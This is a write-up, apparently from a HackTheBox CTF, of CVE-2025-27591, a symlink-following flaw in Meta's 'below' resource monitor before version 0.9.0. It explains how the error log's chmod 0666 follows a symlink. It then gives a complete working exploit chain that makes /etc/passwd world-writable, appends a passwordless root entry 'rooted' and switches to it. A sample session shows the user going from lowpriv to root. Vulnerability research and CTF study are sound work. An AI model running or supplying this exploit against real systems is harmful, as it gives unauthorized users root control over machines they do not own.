
CVE-2025-27591 – Meta below symlink following local privilege escalation (HackTheBox CTF)
below Symlink Local Privilege Escalation| Field | Details |
|---|---|
| CVE | CVE-2025-27591 |
| Software | Meta below (system resource monitor) |
| Affected Versions | < 0.9.0 |
| Vulnerability | Symlink following → arbitrary file overwrite as root |
| Authentication | Local user with sudo access to below |
| Impact | Local Privilege Escalation to root |
| Context | Discovered during HackTheBox CTF |
The below system resource monitoring tool (by Meta Platforms, Inc.) contains a flaw in its error logging mechanism. When invoked via sudo, it forcibly sets 0666 permissions on its log files located in /var/log/below/ without first checking whether the target path is a symlink. This allows a local attacker to replace the log file with a symlink pointing to any root-writable file, effectively overwriting it with controlled content.
The logging code in below < 0.9.0 performs these operations in sequence when run as root:
/var/log/below/error_root.logchmod(path, 0o666) — without checking if it is a symlinkAt step 4, if the path was replaced with a symlink before execution, the write goes to the symlink's target instead.
Local user
│
▼
Remove /var/log/below/error_root.log
│
▼
Create symlink: /var/log/below/error_root.log → /etc/passwd
│
▼
Trigger error via: sudo /usr/bin/below replay --time "invalid"
│ (below opens the "log file", chmod 0666 hits /etc/passwd, writes error)
▼
/etc/passwd is now world-writable
│
▼
Append rogue root entry: rooted::0:0:root:/root:/bin/bash
│
▼
su rooted → root shell
--time "invalid" WorksPassing an invalid time string forces below to log an error message. The error path reaches the logging code that blindly writes to the file, which is now our symlink.
chmod +x exploit.sh
./exploit.sh
Prerequisite: The current user must have
sudorights to execute/usr/bin/below.
rm -f /var/log/below/error_root.log; \
ln -s /etc/passwd /var/log/below/error_root.log; \
sudo /usr/bin/below replay --time "invalid" >/dev/null 2>&1; \
echo 'rooted::0:0:root:/root:/bin/bash' > /var/log/below/error_root.log; \
su rooted
$ whoami
lowpriv
$ ./exploit.sh
# whoami
root
The vulnerability was fixed in below version 0.9.0. The fix introduces a symlink check before any file operations in the logging path.